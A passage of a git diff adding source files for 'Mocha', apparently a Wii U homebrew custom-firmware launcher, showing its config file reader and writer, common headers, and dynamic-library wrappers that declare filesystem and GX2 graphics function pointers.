atoi(value); + else if(strcmp(option, "redNAND") == 0) + config->redNAND = atoi(value); + else if(strcmp(option, "seeprom_red") == 0) + config->seeprom_red = atoi(value); + else if(strcmp(option, "otp_red") == 0) + config->otp_red = atoi(value); + else if(strcmp(option, "syshaxXml") == 0) + config->syshaxXml = atoi(value); + else if(strcmp(option, "viewMode") == 0) + config->viewMode = atoi(value); + } + } + + fclose(pFile); + return 0; +} + +int write_config(cfw_config_t * config) +{ + CreateSubfolder(APP_PATH); + + FILE *pFile = fopen(CONFIG_PATH, "wb"); + if(!pFile) + return -1; + + fprintf(pFile, "[RIOSUHAX]\n"); + fprintf(pFile, "viewMode=%i\n", config->viewMode); + fprintf(pFile, "directLaunch=%i\n", config->directLaunch); + fprintf(pFile, "launchImage=%i\n", config->launchImage); + fprintf(pFile, "redNAND=%i\n", config->redNAND); + fprintf(pFile, "seeprom_red=%i\n", config->seeprom_red); + fprintf(pFile, "otp_red=%i\n", config->otp_red); + fprintf(pFile, "syshaxXml=%i\n", config->syshaxXml); + fclose(pFile); + return 0; +} diff --git a/src/cfw_config.h b/src/cfw_config.h new file mode 100644 index 0000000..c49972a --- /dev/null +++ b/src/cfw_config.h @@ -0,0 +1,46 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef CFW_CONFIG_H_ +#define CFW_CONFIG_H_ + +#define APP_VERSION "v0.1" +#define APP_PATH "sd:/wiiu/apps/mocha" +#define CONFIG_PATH (APP_PATH "/config.ini") + +typedef struct +{ + int viewMode; + int directLaunch; + int launchImage; + int redNAND; + int seeprom_red; + int otp_red; + int syshaxXml; +} cfw_config_t; + +void default_config(cfw_config_t * config); +int read_config(cfw_config_t * config); +int write_config(cfw_config_t * config); + +#endif diff --git a/src/common/common.h b/src/common/common.h new file mode 100644 index 0000000..538b5ad --- /dev/null +++ b/src/common/common.h @@ -0,0 +1,36 @@ +#ifndef COMMON_H +#define COMMON_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "os_defs.h" + +#define CAFE_OS_SD_PATH "/vol/external01" +#define SD_PATH "sd:" +#define WIIU_PATH "/wiiu" + +#ifndef MEM_BASE +#define MEM_BASE (0x00800000) +#endif + +#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00)) +#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04)) +#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00)) +#define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04)) + +#define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500)) + +#ifndef EXIT_SUCCESS +#define EXIT_SUCCESS 0 +#endif +#define EXIT_HBL_EXIT 0xFFFFFFFE +#define EXIT_RELAUNCH_ON_LOAD 0xFFFFFFFD + +#ifdef __cplusplus +} +#endif + +#endif /* COMMON_H */ + diff --git a/src/common/fs_defs.h b/src/common/fs_defs.h new file mode 100644 index 0000000..feda725 --- /dev/null +++ b/src/common/fs_defs.h @@ -0,0 +1,62 @@ +#ifndef FS_DEFS_H +#define FS_DEFS_H + +#include "types.h" + +#ifdef __cplusplus +extern "C" { +#endif + + +/* FS defines and types */ +#define FS_MAX_LOCALPATH_SIZE 511 +#define FS_MAX_MOUNTPATH_SIZE 128 +#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE) +#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE + +#define FS_STATUS_OK 0 +#define FS_RET_UNSUPPORTED_CMD 0x0400 +#define FS_RET_NO_ERROR 0x0000 +#define FS_RET_ALL_ERROR (unsigned int)(-1) + +#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 + +/* max length of file/dir name */ +#define FS_MAX_ENTNAME_SIZE 256 + +#define FS_SOURCETYPE_EXTERNAL 0 +#define FS_SOURCETYPE_HFIO 1 +#define FS_SOURCETYPE_HFIO 1 + +#define FS_MOUNT_SOURCE_SIZE 0x300 +#define FS_CLIENT_SIZE 0x1700 +#define FS_CMD_BLOCK_SIZE 0xA80 + +typedef struct +{ + uint32_t flag; + uint32_t permission; + uint32_t owner_id; + uint32_t group_id; + uint32_t size; + uint32_t alloc_size; + uint64_t quota_size; + uint32_t ent_id; + uint64_t ctime; + uint64_t mtime; + uint8_t attributes[48]; +} __attribute__((packed)) FSStat; + +typedef struct +{ + FSStat stat; + char name[FS_MAX_ENTNAME_SIZE]; +} FSDirEntry; + + +#ifdef __cplusplus +} +#endif + +#endif /* FS_DEFS_H */ + diff --git a/src/common/os_defs.h b/src/common/os_defs.h new file mode 100644 index 0000000..48a4c8f --- /dev/null +++ b/src/common/os_defs.h @@ -0,0 +1,25 @@ +#ifndef __OS_DEFS_H_ +#define __OS_DEFS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct _OsSpecifics +{ + unsigned int addr_OSDynLoad_Acquire; + unsigned int addr_OSDynLoad_FindExport; + unsigned int addr_OSTitle_main_entry; + + unsigned int addr_KernSyscallTbl1; + unsigned int addr_KernSyscallTbl2; + unsigned int addr_KernSyscallTbl3; + unsigned int addr_KernSyscallTbl4; + unsigned int addr_KernSyscallTbl5; +} OsSpecifics; + +#ifdef __cplusplus +} +#endif + +#endif // __OS_DEFS_H_ diff --git a/src/common/types.h b/src/common/types.h new file mode 100644 index 0000000..3435e56 --- /dev/null +++ b/src/common/types.h @@ -0,0 +1,7 @@ +#ifndef TYPES_H +#define TYPES_H + +#include + +#endif /* TYPES_H */ + diff --git a/src/dynamic_libs/.gitattributes b/src/dynamic_libs/.gitattributes new file mode 100644 index 0000000..bdb0cab --- /dev/null +++ b/src/dynamic_libs/.gitattributes @@ -0,0 +1,17 @@ +# Auto detect text files and perform LF normalization +* text=auto + +# Custom for Visual Studio +*.cs diff=csharp + +# Standard to msysgit +*.doc diff=astextplain +*.DOC diff=astextplain +*.docx diff=astextplain +*.DOCX diff=astextplain +*.dot diff=astextplain +*.DOT diff=astextplain +*.pdf diff=astextplain +*.PDF diff=astextplain +*.rtf diff=astextplain +*.RTF diff=astextplain diff --git a/src/dynamic_libs/.gitignore b/src/dynamic_libs/.gitignore new file mode 100644 index 0000000..cd2946a --- /dev/null +++ b/src/dynamic_libs/.gitignore @@ -0,0 +1,47 @@ +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Windows Installer files +*.cab +*.msi +*.msm +*.msp + +# Windows shortcuts +*.lnk + +# ========================= +# Operating System Files +# ========================= + +# OSX +# ========================= + +.DS_Store +.AppleDouble +.LSOverride + +# Thumbnails +._* + +# Files that might appear in the root of a volume +.DocumentRevisions-V100 +.fseventsd +.Spotlight-V100 +.TemporaryItems +.Trashes +.VolumeIcon.icns + +# Directories potentially created on remote AFP share +.AppleDB +.AppleDesktop +Network Trash Folder +Temporary Items +.apdisk diff --git a/src/dynamic_libs/README.md b/src/dynamic_libs/README.md new file mode 100644 index 0000000..be82302 --- /dev/null +++ b/src/dynamic_libs/README.md @@ -0,0 +1,2 @@ +# dynamic_libs +Dynamic libs for WiiU homebrew diff --git a/src/dynamic_libs/fs_defs.h b/src/dynamic_libs/fs_defs.h new file mode 100644 index 0000000..1b1bc41 --- /dev/null +++ b/src/dynamic_libs/fs_defs.h @@ -0,0 +1,61 @@ +#ifndef FS_DEFS_H +#define FS_DEFS_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + + +/* FS defines and types */ +#define FS_MAX_LOCALPATH_SIZE 511 +#define FS_MAX_MOUNTPATH_SIZE 128 +#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE) +#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE + +#define FS_STATUS_OK 0 +#define FS_RET_UNSUPPORTED_CMD 0x0400 +#define FS_RET_NO_ERROR 0x0000 +#define FS_RET_ALL_ERROR (unsigned int)(-1) + +#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 + +/* max length of file/dir name */ +#define FS_MAX_ENTNAME_SIZE 256 + +#define FS_SOURCETYPE_EXTERNAL 0 +#define FS_SOURCETYPE_HFIO 1 + +#define FS_MOUNT_SOURCE_SIZE 0x300 +#define FS_CLIENT_SIZE 0x1700 +#define FS_CMD_BLOCK_SIZE 0xA80 + +typedef struct +{ + uint32_t flag; + uint32_t permission; + uint32_t owner_id; + uint32_t group_id; + uint32_t size; + uint32_t alloc_size; + uint64_t quota_size; + uint32_t ent_id; + uint64_t ctime; + uint64_t mtime; + uint8_t attributes[48]; +} __attribute__((packed)) FSStat; + +typedef struct +{ + FSStat stat; + char name[FS_MAX_ENTNAME_SIZE]; +} FSDirEntry; + + +#ifdef __cplusplus +} +#endif + +#endif /* FS_DEFS_H */ + diff --git a/src/dynamic_libs/fs_functions.c b/src/dynamic_libs/fs_functions.c new file mode 100644 index 0000000..08a4fb6 --- /dev/null +++ b/src/dynamic_libs/fs_functions.c @@ -0,0 +1,131 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "fs_functions.h" +#include "os_functions.h" + +EXPORT_DECL(int, FSInit, void); +EXPORT_DECL(int, FSShutdown, void); +EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling); +EXPORT_DECL(int, FSDelClient, void *pClient); +EXPORT_DECL(void, FSInitCmdBlock, void *pCmd); +EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling); + +EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling); +EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling); + +EXPORT_DECL(int, FSGetStat, void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling); +EXPORT_DECL(int, FSGetStatAsync, void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams); +EXPORT_DECL(int, FSRename, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); +EXPORT_DECL(int, FSRenameAsync, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); +EXPORT_DECL(int, FSRemove, void *pClient, void *pCmd, const char *path, int error); +EXPORT_DECL(int, FSRemoveAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); +EXPORT_DECL(int, FSFlushQuota, void *pClient, void *pCmd, const char* path, int error); +EXPORT_DECL(int, FSFlushQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); +EXPORT_DECL(int, FSGetFreeSpaceSize, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error); +EXPORT_DECL(int, FSGetFreeSpaceSizeAsync, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams); +EXPORT_DECL(int, FSRollbackQuota, void *pClient, void *pCmd, const char *path, int error); +EXPORT_DECL(int, FSRollbackQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); + +EXPORT_DECL(int, FSOpenDir, void *pClient, void *pCmd, const char *path, int *dh, int errHandling); +EXPORT_DECL(int, FSOpenDirAsync, void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams); +EXPORT_DECL(int, FSReadDir, void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling); +EXPORT_DECL(int, FSRewindDir, void *pClient, void *pCmd, int dh, int errHandling); +EXPORT_DECL(int, FSCloseDir, void *pClient, void *pCmd, int dh, int errHandling); +EXPORT_DECL(int, FSChangeDir, void *pClient, void *pCmd, const char *path, int errHandling); +EXPORT_DECL(int, FSChangeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); +EXPORT_DECL(int, FSMakeDir, void *pClient, void *pCmd, const char *path, int errHandling); +EXPORT_DECL(int, FSMakeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); + +EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); +EXPORT_DECL(int, FSOpenFileAsync, void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams); +EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); +EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling); + +EXPORT_DECL(int, FSFlushFile, void *pClient, void *pCmd, int fd, int error); +EXPORT_DECL(int, FSTruncateFile, void *pClient, void *pCmd, int fd, int error); +EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error); +EXPORT_DECL(int, FSSetPosFile, void *pClient, void *pCmd, int fd, int pos, int error); +EXPORT_DECL(int, FSWriteFile, void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error); + +EXPORT_DECL(int, FSBindMount, void *pClient, void *pCmd, char *source, char *target, int error); +EXPORT_DECL(int, FSBindUnmount, void *pClient, void *pCmd, char *target, int error); + +EXPORT_DECL(int, FSMakeQuota, void *pClient, void *pCmd, const char *path,u32 mode, u64 size, int errHandling); +EXPORT_DECL(int, FSMakeQuotaAsync ,void *pClient, void *pCmd, const char *path,u32 mode, u64 size, int errHandling,const void *asyncParams); + +void InitFSFunctionPointers(void) +{ + unsigned int *funcPointer = 0; + + OS_FIND_EXPORT(coreinit_handle, FSInit); + OS_FIND_EXPORT(coreinit_handle, FSShutdown); + OS_FIND_EXPORT(coreinit_handle, FSAddClientEx); + OS_FIND_EXPORT(coreinit_handle, FSDelClient); + OS_FIND_EXPORT(coreinit_handle, FSInitCmdBlock); + OS_FIND_EXPORT(coreinit_handle, FSGetMountSource); + + OS_FIND_EXPORT(coreinit_handle, FSMount); + OS_FIND_EXPORT(coreinit_handle, FSUnmount); + + OS_FIND_EXPORT(coreinit_handle, FSGetStat); + OS_FIND_EXPORT(coreinit_handle, FSGetStatAsync); + OS_FIND_EXPORT(coreinit_handle, FSRename); + OS_FIND_EXPORT(coreinit_handle, FSRenameAsync); + OS_FIND_EXPORT(coreinit_handle, FSRemove); + OS_FIND_EXPORT(coreinit_handle, FSRemoveAsync); + OS_FIND_EXPORT(coreinit_handle, FSFlushQuota); + OS_FIND_EXPORT(coreinit_handle, FSFlushQuotaAsync); + OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSize); + OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSizeAsync); + OS_FIND_EXPORT(coreinit_handle, FSRollbackQuota); + OS_FIND_EXPORT(coreinit_handle, FSRollbackQuotaAsync); + + OS_FIND_EXPORT(coreinit_handle, FSOpenDir); + OS_FIND_EXPORT(coreinit_handle, FSOpenDirAsync); + OS_FIND_EXPORT(coreinit_handle, FSReadDir); + OS_FIND_EXPORT(coreinit_handle, FSRewindDir); + OS_FIND_EXPORT(coreinit_handle, FSCloseDir); + OS_FIND_EXPORT(coreinit_handle, FSChangeDir); + OS_FIND_EXPORT(coreinit_handle, FSChangeDirAsync); + OS_FIND_EXPORT(coreinit_handle, FSMakeDir); + OS_FIND_EXPORT(coreinit_handle, FSMakeDirAsync); + + + OS_FIND_EXPORT(coreinit_handle, FSOpenFile); + OS_FIND_EXPORT(coreinit_handle, FSOpenFileAsync); + OS_FIND_EXPORT(coreinit_handle, FSReadFile); + OS_FIND_EXPORT(coreinit_handle, FSCloseFile); + + OS_FIND_EXPORT(coreinit_handle, FSFlushFile); + OS_FIND_EXPORT(coreinit_handle, FSTruncateFile); + OS_FIND_EXPORT(coreinit_handle, FSGetStatFile); + OS_FIND_EXPORT(coreinit_handle, FSSetPosFile); + OS_FIND_EXPORT(coreinit_handle, FSWriteFile); + + OS_FIND_EXPORT(coreinit_handle, FSBindMount); + OS_FIND_EXPORT(coreinit_handle, FSBindUnmount); + + OS_FIND_EXPORT(coreinit_handle, FSMakeQuota); + OS_FIND_EXPORT(coreinit_handle, FSMakeQuotaAsync); +} diff --git a/src/dynamic_libs/fs_functions.h b/src/dynamic_libs/fs_functions.h new file mode 100644 index 0000000..d024655 --- /dev/null +++ b/src/dynamic_libs/fs_functions.h @@ -0,0 +1,95 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __FS_FUNCTIONS_H_ +#define __FS_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include "fs_defs.h" + +void InitFSFunctionPointers(void); + +extern int (* FSInit)(void); +extern int (* FSShutdown)(void); +extern int (* FSAddClientEx)(void *pClient, int unk_zero_param, int errHandling); +extern int (* FSDelClient)(void *pClient); +extern void (* FSInitCmdBlock)(void *pCmd); +extern int (* FSGetMountSource)(void *pClient, void *pCmd, int type, void *source, int errHandling); + +extern int (* FSMount)(void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling); +extern int (* FSUnmount)(void *pClient, void *pCmd, const char *target, int errHandling); +extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); +extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); +extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error); +extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); + +extern int (* FSGetStat)(void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling); +extern int (* FSGetStatAsync)(void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams); +extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); +extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); +extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error); +extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); +extern int (* FSFlushQuota)(void *pClient, void *pCmd, const char* path, int error); +extern int (* FSFlushQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); +extern int (* FSGetFreeSpaceSize)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error); +extern int (* FSGetFreeSpaceSizeAsync)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams); +extern int (* FSRollbackQuota)(void *pClient, void *pCmd, const char *path, int error); +extern int (* FSRollbackQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); + +extern int (* FSOpenDir)(void *pClient, void *pCmd, const char *path, int *dh, int errHandling); +extern int (* FSOpenDirAsync)(void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams); +extern int (* FSReadDir)(void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling); +extern int (* FSRewindDir)(void *pClient, void *pCmd, int dh, int errHandling); +extern int (* FSCloseDir)(void *pClient, void *pCmd, int dh, int errHandling); +extern int (* FSChangeDir)(void *pClient, void *pCmd, const char *path, int errHandling); +extern int (* FSChangeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); +extern int (* FSMakeDir)(void *pClient, void *pCmd, const char *path, int errHandling); +extern int (* FSMakeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); + +extern int (* FSOpenFile)(void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); +extern int (* FSOpenFileAsync)(void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams); +extern int (* FSReadFile)(void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); +extern int (* FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling); + +extern int (* FSFlushFile)(void *pClient, void *pCmd, int fd, int error); +extern int (* FSTruncateFile)(void *pClient, void *pCmd, int fd, int error); +extern int (* FSGetStatFile)(void *pClient, void *pCmd, int fd, void *buffer, int error); +extern int (* FSSetPosFile)(void *pClient, void *pCmd, int fd, int pos, int error); +extern int (* FSWriteFile)(void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error); + +extern int (* FSBindMount)(void *pClient, void *pCmd, char *source, char *target, int error); +extern int (* FSBindUnmount)(void *pClient, void *pCmd, char *target, int error); + +extern int (* FSMakeQuota)( void *pClient, void *pCmd, const char *path,u32 mode, u64 size, int errHandling); +extern int (* FSMakeQuotaAsync)(void *pClient, void *pCmd, const char *path,u32 mode, u64 size, int errHandling,const void *asyncParams); + + +#ifdef __cplusplus +} +#endif + +#endif // __FS_FUNCTIONS_H_ diff --git a/src/dynamic_libs/gx2_functions.c b/src/dynamic_libs/gx2_functions.c new file mode 100644 index 0000000..a34807e --- /dev/null +++ b/src/dynamic_libs/gx2_functions.c @@ -0,0 +1,173 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "os_functions.h" +#include "gx2_types.h" + +unsigned int gx2_handle __attribute__((section(".data"))) = 0; + +EXPORT_DECL(void, GX2Init, u32 * init_attribs); +EXPORT_DECL(void, GX2Shutdown, void); +EXPORT_DECL(void, GX2Flush, void); +EXPORT_DECL(s32, GX2GetMainCoreId, void) ; +EXPORT_DECL(s32, GX2DrawDone, void); +EXPORT_DECL(void, GX2ClearColor, GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a); +EXPORT_DECL(void, GX2SetViewport, f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ); +EXPORT_DECL(void, GX2SetScissor, u32 x_orig, u32 y_orig, u32 wd, u32 ht); +EXPORT_DECL(void, GX2SetContextState, const GX2ContextState* state); +EXPORT_DECL(void, GX2DrawEx, s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count); +EXPORT_DECL(void, GX2DrawIndexedEx, s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count); +EXPORT_DECL(void, GX2ClearDepthStencilEx, GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode); +EXPORT_DECL(void, GX2SetClearDepthStencil, GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value); +EXPORT_DECL(void, GX2CopyColorBufferToScanBuffer, const GX2ColorBuffer *colorBuffer, s32 scan_target); +EXPORT_DECL(void, GX2SwapScanBuffers, void); +EXPORT_DECL(void, GX2SetTVEnable, s32 enable); +EXPORT_DECL(void, GX2SetSwapInterval, u32 swap_interval); +EXPORT_DECL(u32, GX2GetSwapInterval, void); +EXPORT_DECL(void, GX2WaitForVsync, void); +EXPORT_DECL(void, GX2CalcTVSize, s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed); +EXPORT_DECL(void, GX2Invalidate, s32 invalidate_type, void * ptr, u32 buffer_size); +EXPORT_DECL(void, GX2SetTVBuffer, void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode); +EXPORT_DECL(void, GX2CalcSurfaceSizeAndAlignment, GX2Surface *surface); +EXPORT_DECL(void, GX2InitDepthBufferRegs, GX2DepthBuffer *depthBuffer); +EXPORT_DECL(void, GX2InitColorBufferRegs, GX2ColorBuffer *colorBuffer); +EXPORT_DECL(void, GX2CalcColorBufferAuxInfo, GX2ColorBuffer *colorBuffer, u32 *size, u32 *align); +EXPORT_DECL(void, GX2CalcDepthBufferHiZInfo, GX2DepthBuffer *depthBuffer, u32 *size, u32 *align); +EXPORT_DECL(void, GX2InitDepthBufferHiZEnable, GX2DepthBuffer *depthBuffer, s32 hiZ_enable); +EXPORT_DECL(void, GX2SetupContextStateEx, GX2ContextState* state, s32 enable_profiling); +EXPORT_DECL(void, GX2SetColorBuffer, const GX2ColorBuffer *colorBuffer, s32 target); +EXPORT_DECL(void, GX2SetDepthBuffer, const GX2DepthBuffer *depthBuffer); +EXPORT_DECL(void, GX2SetAttribBuffer, u32 attr_index, u32 attr_size, u32 stride, const void* attr); +EXPORT_DECL(void, GX2InitTextureRegs, GX2Texture *texture); +EXPORT_DECL(void, GX2InitSampler, GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter); +EXPORT_DECL(u32, GX2CalcFetchShaderSizeEx, u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode); +EXPORT_DECL(void, GX2InitFetchShaderEx, GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode); +EXPORT_DECL(void, GX2SetFetchShader, const GX2FetchShader* fs); +EXPORT_DECL(void, GX2SetVertexUniformReg, u32 offset, u32 count, const void *values); +EXPORT_DECL(void, GX2SetPixelUniformReg, u32 offset, u32 count, const void *values); +EXPORT_DECL(void, GX2SetPixelTexture, const GX2Texture *texture, u32 texture_hw_location); +EXPORT_DECL(void, GX2SetVertexTexture, const GX2Texture *texture, u32 texture_hw_location); +EXPORT_DECL(void, GX2SetPixelSampler, const GX2Sampler *sampler, u32 sampler_hw_location); +EXPORT_DECL(void, GX2SetVertexSampler, const GX2Sampler *sampler, u32 sampler_hw_location); +EXPORT_DECL(void, GX2SetPixelShader, const GX2PixelShader* pixelShader); +EXPORT_DECL(void, GX2SetVertexShader, const GX2VertexShader* vertexShader); +EXPORT_DECL(void, GX2InitSamplerZMFilter, GX2Sampler *sampler, s32 z_filter, s32 mip_filter); +EXPORT_DECL(void, GX2SetColorControl, s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer); +EXPORT_DECL(void, GX2SetDepthOnlyControl, s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function); +EXPORT_DECL(void, GX2SetBlendControl, s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine); +EXPORT_DECL(void, GX2CalcDRCSize, s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed); +EXPORT_DECL(void, GX2SetDRCBuffer, void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode); +EXPORT_DECL(void, GX2SetDRCScale, u32 width, u32 height); +EXPORT_DECL(void, GX2SetDRCEnable, s32 enable); +EXPORT_DECL(void, GX2SetPolygonControl, s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset); +EXPORT_DECL(void, GX2SetCullOnlyControl, s32 front_face_mode, s32 cull_front, s32 cull_back); +EXPORT_DECL(void, GX2SetDepthStencilControl, s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable, + s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail, + s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail); +EXPORT_DECL(void, GX2SetStencilMask, u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back); +EXPORT_DECL(void, GX2SetLineWidth, f32 width); +EXPORT_DECL(void, GX2SetTVGamma, f32 val); +EXPORT_DECL(void, GX2SetDRCGamma, f32 gam); +EXPORT_DECL(s32, GX2GetSystemTVScanMode, void); +EXPORT_DECL(s32, GX2GetSystemDRCScanMode, void); +EXPORT_DECL(void, GX2RSetAllocator, void * (* allocFunc)(u32, u32, u32), void (* freeFunc)(u32, void*)); +EXPORT_DECL(void, GX2CopySurface, GX2Surface * srcSurface,u32 srcMip,u32 srcSlice,GX2Surface * dstSurface,u32 dstMip,u32 dstSlice ); + +EXPORT_DECL(void, GX2ClearBuffersEx, GX2ColorBuffer * colorBuffer,GX2DepthBuffer * depthBuffer,f32 